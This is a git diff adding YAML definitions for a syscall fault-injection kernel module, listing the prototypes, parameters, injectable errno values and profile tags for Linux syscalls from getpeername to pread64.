--- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpeername.yml @@ -0,0 +1,11 @@ +proto: int fd, struct sockaddr __user *usockaddr, int __user *usockaddr_len +parms: fd, usockaddr, usockaddr_len +errors: + - EBADF + - EFAULT + - EINVAL + - ENOBUFS + - ENOTCONN + - ENOTSOCK +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpgid.yml new file mode 100644 index 0000000..c2ce45a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpgid.yml @@ -0,0 +1,4 @@ +proto: pid_t pid +parms: pid +errors: + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpriority.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpriority.yml new file mode 100644 index 0000000..7cfee0e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpriority.yml @@ -0,0 +1,7 @@ +proto: int which, int who +parms: which, who +errors: + - EINVAL + - ESRCH +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getresgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getresgid.yml new file mode 100644 index 0000000..780c2ca --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getresgid.yml @@ -0,0 +1,4 @@ +proto: gid_t __user *rgidp, gid_t __user *egidp, gid_t __user *sgidp +parms: rgidp, egidp, sgidp +errors: + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getresuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getresuid.yml new file mode 100644 index 0000000..e33da0f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getresuid.yml @@ -0,0 +1,4 @@ +proto: uid_t __user *ruidp, uid_t __user *euidp, uid_t __user *suidp +parms: ruidp, euidp, suidp +errors: + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsid.yml new file mode 100644 index 0000000..fe259db --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsid.yml @@ -0,0 +1,5 @@ +proto: pid_t pid +parms: pid +errors: + - EPERM + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsockname.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsockname.yml new file mode 100644 index 0000000..d36fbf0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsockname.yml @@ -0,0 +1,10 @@ +proto: int fd, struct sockaddr __user *usockaddr, int __user *usockaddr_len +parms: fd, usockaddr, usockaddr_len +errors: + - EBADF + - EFAULT + - EINVAL + - ENOBUFS + - ENOTSOCK +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsockopt.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsockopt.yml new file mode 100644 index 0000000..777cd42 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsockopt.yml @@ -0,0 +1,10 @@ +proto: int fd, int level, int optname, char __user *optval, int __user *optlen +parms: fd, level, optname, optval, optlen +errors: + - EBADF + - EFAULT + - EINVAL + - ENOPROTOOPT + - ENOTSOCK +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/gettimeofday.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/gettimeofday.yml new file mode 100644 index 0000000..c58d345 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/gettimeofday.yml @@ -0,0 +1,8 @@ +# NOTE(ww): Make sure to disable the VDSO if you want to fault gettimeofday! +proto: struct timeval __user *tv, struct timezone __user *tz +parms: tv, tz +errors: + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ioctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ioctl.yml new file mode 100644 index 0000000..f111662 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ioctl.yml @@ -0,0 +1,9 @@ +proto: unsigned int fd, unsigned int cmd, unsigned long arg +parms: fd, cmd, arg +errors: + - EBADF + - EFAULT + - EINVAL + - ENOTTY +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ioperm.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ioperm.yml new file mode 100644 index 0000000..db47021 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ioperm.yml @@ -0,0 +1,10 @@ +proto: unsigned long from, unsigned long num, int turn_on +parms: from, num, turn_on +errors: + - EIO + - EINVAL + - EPERM + - ENOMEM +profiles: + - io + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/kill.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/kill.yml new file mode 100644 index 0000000..14c445d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/kill.yml @@ -0,0 +1,8 @@ +proto: pid_t pid, int sig +parms: pid, sig +errors: + - EINVAL + - EPERM + - ESRCH +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/lchown.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/lchown.yml new file mode 100644 index 0000000..e03f006 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/lchown.yml @@ -0,0 +1,14 @@ +proto: const char __user *filename, uid_t user, gid_t group +parms: filename, user, group +errors: + - EACCES + - EFAULT + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/link.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/link.yml new file mode 100644 index 0000000..14243c1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/link.yml @@ -0,0 +1,20 @@ +proto: const char __user *oldname, const char __user *newname +parms: oldname, newname +errors: + - EACCES + - EDQUOT + - EFAULT + - EEXIST + - EIO + - ELOOP + - EMLINK + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - EPERM + - EROFS + - EXDEV +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/linkat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/linkat.yml new file mode 100644 index 0000000..533e7ea --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/linkat.yml @@ -0,0 +1,22 @@ +proto: int olddfd, const char __user *oldname, int newdfd, const char __user *newname, int flags +parms: olddfd, oldname, newdfd, newname, flags +errors: + - EACCES + - EDQUOT + - EFAULT + - EEXIST + - EIO + - ELOOP + - EMLINK + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - EPERM + - EROFS + - EXDEV + - EBADF + - EINVAL +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/listen.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/listen.yml new file mode 100644 index 0000000..b897b66 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/listen.yml @@ -0,0 +1,9 @@ +proto: int fd, int backlog +parms: fd, backlog +errors: + - EADDRINUSE + - EBADF + - ENOTSOCK + - EOPNOTSUPP +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/lstat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/lstat.yml new file mode 100644 index 0000000..cd12db6 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/lstat.yml @@ -0,0 +1,13 @@ +proto: const char __user *filename, struct __old_kernel_stat __user *statbuf +parms: filename, statbuf +errors: + - EACCES + - EFAULT + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/madvise.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/madvise.yml new file mode 100644 index 0000000..033ec23 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/madvise.yml @@ -0,0 +1,12 @@ +proto: unsigned long start, size_t len_in, int behavior +parms: start, len_in, behavior +errors: + - EACCES + - EAGAIN + - EBADF + - EINVAL + - EIO + - ENOMEM + - EPERM +profiles: + - mm diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mincore.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mincore.yml new file mode 100644 index 0000000..c30fe09 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mincore.yml @@ -0,0 +1,9 @@ +proto: unsigned long start, size_t len, unsigned char __user *vec +parms: start, len, vec +errors: + - EAGAIN + - EFAULT + - EINVAL + - ENOMEM +profiles: + - mm diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mkdir.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mkdir.yml new file mode 100644 index 0000000..aac0e5c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mkdir.yml @@ -0,0 +1,19 @@ +proto: const char __user *pathname, umode_t mode +parms: pathname, mode +errors: + - EACCES + - EFAULT + - EDQUOT + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EBADF + - EEXIST + - EMLINK + - ENOSPC + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mknod.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mknod.yml new file mode 100644 index 0000000..32efd40 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mknod.yml @@ -0,0 +1,18 @@ +proto: const char __user *filename, umode_t mode, unsigned dev +parms: filename, mode, dev +errors: + - EACCES + - EDQUOT + - EEXIST + - EFAULT + - EINVAL + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mknodat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mknodat.yml new file mode 100644 index 0000000..e535f20 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mknodat.yml @@ -0,0 +1,19 @@ +proto: int dfd, const char __user *filename, umode_t mode, unsigned dev +parms: dfd, filename, mode, dev +errors: + - EACCES + - EDQUOT + - EEXIST + - EFAULT + - EINVAL + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - EPERM + - EROFS + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlock.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlock.yml new file mode 100644 index 0000000..bc5e786 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlock.yml @@ -0,0 +1,9 @@ +proto: unsigned long start, size_t len +parms: start, len +errors: + - ENOMEM + - EPERM + - EAGAIN + - EINVAL +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlock2.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlock2.yml new file mode 100644 index 0000000..069f365 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlock2.yml @@ -0,0 +1,9 @@ +proto: unsigned long start, size_t len, int flags +parms: start, len, flags +errors: + - ENOMEM + - EPERM + - EAGAIN + - EINVAL +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlockall.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlockall.yml new file mode 100644 index 0000000..ba4339d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlockall.yml @@ -0,0 +1,8 @@ +proto: int flags +parms: flags +errors: + - ENOMEM + - EPERM + - EINVAL +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mmap_pgoff.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mmap_pgoff.yml new file mode 100644 index 0000000..f7c3a68 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mmap_pgoff.yml @@ -0,0 +1,18 @@ +# slight annoyance: the actual syscall is sys_mmap_pgoff, +# but the __NR constant is __NR_mmap +nr: mmap +proto: unsigned long addr, unsigned long len, unsigned long prot, unsigned long flags, unsigned long fd, unsigned long off +parms: addr, len, prot, flags, fd, off +errors: + - EACCES + - EAGAIN + - EBADF + - EINVAL + - ENFILE + - ENODEV + - ENOMEM + - EOVERFLOW + - EPERM + - ETXTBSY +profiles: + - mm diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mount.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mount.yml new file mode 100644 index 0000000..91b910d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mount.yml @@ -0,0 +1,19 @@ +proto: char __user *dev_name, char __user *dir_name, char __user *type, unsigned long flags, void __user *data +parms: dev_name, dir_name, type, flags, data +errors: + - EACCES + - EBUSY + - EFAULT + - EINVAL + - ELOOP + - EMFILE + - ENAMETOOLONG + - ENODEV + - ENOENT + - ENOMEM + - ENOTBLK + - ENOTDIR + - ENXIO + - EPERM +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mprotect.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mprotect.yml new file mode 100644 index 0000000..8460010 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mprotect.yml @@ -0,0 +1,8 @@ +proto: unsigned long start, size_t len, unsigned long prot +parms: start, len, prot +errors: + - EACCES + - EINVAL + - ENOMEM +profiles: + - mm diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_getsetattr.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_getsetattr.yml new file mode 100644 index 0000000..75a560b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_getsetattr.yml @@ -0,0 +1,7 @@ +proto: mqd_t mqdes, const struct mq_attr __user *u_mqstat, struct mq_attr __user *u_omqstat +parms: mqdes, u_mqstat, u_omqstat +errors: + - EBADF + - EINVAL +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_notify.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_notify.yml new file mode 100644 index 0000000..908197f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_notify.yml @@ -0,0 +1,9 @@ +proto: mqd_t mqdes, const struct sigevent __user *u_notification +parms: mqdes, u_notification +errors: + - EBADF + - EBUSY + - EINVAL + - ENOMEM +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_open.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_open.yml new file mode 100644 index 0000000..c169588 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_open.yml @@ -0,0 +1,14 @@ +proto: const char __user *u_name, int oflag, umode_t mode, struct mq_attr __user *u_attr +parms: u_name, oflag, mode, u_attr +errors: + - EACCES + - EEXIST + - EINVAL + - EMFILE + - ENAMETOOLONG + - ENFILE + - ENOENT + - ENOMEM + - ENOSPC +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_timedreceive.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_timedreceive.yml new file mode 100644 index 0000000..adac97d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_timedreceive.yml @@ -0,0 +1,11 @@ +proto: mqd_t mqdes, char __user *u_msg_ptr, size_t msg_len, unsigned int __user *u_msg_prio, const struct timespec __user *u_abs_timeout +parms: mqdes, u_msg_ptr, msg_len, u_msg_prio, u_abs_timeout +errors: + - EAGAIN + - EBADF + - EINTR + - EINVAL + - EMSGSIZE + - ETIMEDOUT +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_timedsend.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_timedsend.yml new file mode 100644 index 0000000..9bc9b85 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_timedsend.yml @@ -0,0 +1,11 @@ +proto: mqd_t mqdes, const char __user *u_msg_ptr, size_t msg_len, unsigned int msg_prio, const struct timespec __user *u_abs_timeout +parms: mqdes, u_msg_ptr, msg_len, msg_prio, u_abs_timeout +errors: + - EAGAIN + - EBADF + - EINTR + - EINVAL + - EMSGSIZE + - ETIMEDOUT +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_unlink.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_unlink.yml new file mode 100644 index 0000000..bc8e1cd --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_unlink.yml @@ -0,0 +1,8 @@ +proto: const char __user *u_name +parms: u_name +errors: + - EACCES + - ENAMETOOLONG + - ENOENT +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mremap.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mremap.yml new file mode 100644 index 0000000..d72b397 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mremap.yml @@ -0,0 +1,9 @@ +proto: unsigned long addr, unsigned long old_len, unsigned long new_len, unsigned long flags, unsigned long new_addr +parms: addr, old_len, new_len, flags, new_addr +errors: + - EAGAIN + - EFAULT + - EINVAL + - ENOMEM +profiles: + - mm diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgctl.yml new file mode 100644 index 0000000..3d0b0cd --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgctl.yml @@ -0,0 +1,10 @@ +proto: int msqid, int cmd, struct msqid_ds __user *buf +parms: msqid, cmd, buf +errors: + - EACCES + - EFAULT + - EIDRM + - EINVAL + - EPERM +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgget.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgget.yml new file mode 100644 index 0000000..817e489 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgget.yml @@ -0,0 +1,10 @@ +proto: key_t key, int msgflg +parms: key, msgflg +errors: + - EACCES + - EEXIST + - ENOENT + - ENOMEM + - ENOSPC +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgrcv.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgrcv.yml new file mode 100644 index 0000000..7c78d0e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgrcv.yml @@ -0,0 +1,13 @@ +proto: int msqid, struct msgbuf __user *msgp, size_t msgsz, long msgtyp, int msgflg +parms: msqid, msgp, msgsz, msgtyp, msgflg +errors: + - E2BIG + - EACCES + - EFAULT + - EIDRM + - EINTR + - EINVAL + - ENOMSG + - ENOSYS +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgsnd.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgsnd.yml new file mode 100644 index 0000000..4d4f34d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgsnd.yml @@ -0,0 +1,12 @@ +proto: int msqid, struct msgbuf __user *msgp, size_t msgsz, int msgflg +parms: msqid, msgp, msgsz, msgflg +errors: + - EACCES + - EAGAIN + - EFAULT + - EIDRM + - EINTR + - EINVAL + - ENOMEM +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msync.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msync.yml new file mode 100644 index 0000000..4101d18 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msync.yml @@ -0,0 +1,8 @@ +proto: unsigned long start, size_t len, int flags +parms: start, len, flags +errors: + - EBUSY + - EINVAL + - ENOMEM +profiles: + - mm diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munlock.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munlock.yml new file mode 100644 index 0000000..bc5e786 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munlock.yml @@ -0,0 +1,9 @@ +proto: unsigned long start, size_t len +parms: start, len +errors: + - ENOMEM + - EPERM + - EAGAIN + - EINVAL +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munlockall.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munlockall.yml new file mode 100644 index 0000000..07c584f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munlockall.yml @@ -0,0 +1,6 @@ +proto: void +errors: + - ENOMEM + - EPERM +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munmap.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munmap.yml new file mode 100644 index 0000000..0a9f3bc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munmap.yml @@ -0,0 +1,6 @@ +proto: unsigned long addr, size_t len +parms: addr, len +errors: + - EINVAL +profiles: + - mm diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/newfstatat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/newfstatat.yml new file mode 100644 index 0000000..a1664d9 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/newfstatat.yml @@ -0,0 +1,11 @@ +proto: int dfd, const char __user *filename, struct stat __user *statbuf, int flag +parms: dfd, filename, statbuf, flag +errors: + - EBADF + - EFAULT + - ENOMEM + - EOVERFLOW + - EINVAL + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/open.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/open.yml new file mode 100644 index 0000000..1498d10 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/open.yml @@ -0,0 +1,35 @@ +proto: const char __user *filename, int flags, umode_t mode +parms: filename, flags, mode +errors: + - EACCES + - EFAULT + - EEXIST + - EBADF +unlikely_errors: + - EACCES + - EDQUOT + # - EEXIST + - EFAULT + - EFBIG + - EINTR + - EINVAL + # - EISDIR + - ELOOP + - EMFILE + - ENAMETOOLONG + - ENFILE + # - ENODEV + # - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + # - ENXIO + - EOVERFLOW + - EPERM + - EROFS + - ETXTBSY + # - EWOULDBLOCK + - EBADF +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/openat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/openat.yml new file mode 100644 index 0000000..3b6c326 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/openat.yml @@ -0,0 +1,35 @@ +proto: int dfd, const char __user *filename, int flags, umode_t mode +parms: dfd, filename, flags, mode +errors: + - EACCES + - EFAULT + - EEXIST + - EBADF +unlikely_errors: + - EACCES + - EDQUOT + # - EEXIST + - EFAULT + - EFBIG + - EINTR + - EINVAL + # - EISDIR + - ELOOP + - EMFILE + - ENAMETOOLONG + - ENFILE + # - ENODEV + # - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + # - ENXIO + - EOVERFLOW + - EPERM + - EROFS + - ETXTBSY + # - EWOULDBLOCK + - EBADF +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pipe.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pipe.yml new file mode 100644 index 0000000..21e6c4a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pipe.yml @@ -0,0 +1,8 @@ +proto: int __user *fildes +parms: fildes +errors: + - EFAULT + - EMFILE + - ENFILE +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pivot_root.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pivot_root.yml new file mode 100644 index 0000000..fb304f0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pivot_root.yml @@ -0,0 +1,10 @@ +proto: const char __user *new_root, const char __user *put_old +parms: new_root, put_old +errors: + - EBUSY + - EINVAL + - ENOTDIR + - EPERM +profiles: + - fs + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/prctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/prctl.yml new file mode 100644 index 0000000..c1deb54 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/prctl.yml @@ -0,0 +1,16 @@ +proto: int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5 +parms: option, arg2, arg3, arg4, arg5 +errors: + # - EACCESS + - EBADF + - EBUSY + - EFAULT + - EINVAL + # - EOPTNOTSUP + - EPERM +profiles: + - fs + - io + - mm + - proc + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pread64.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pread64.yml new file mode 100644 index 0000000..8a74015 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pread64.yml @@ -0,0 +1,18 @@ +proto: unsigned int fd, char __user *buf, size_t count, loff_t pos +parms: fd, buf, count, pos +errors: + - EBADF + - EFAULT +unlikely_errors: + # - EAGAIN + # - EWOULDBLOCK + - EINTR + - EINVAL + - EIO + - EISDIR + - ENXIO + - EOVERFLOW + - ESPIPE 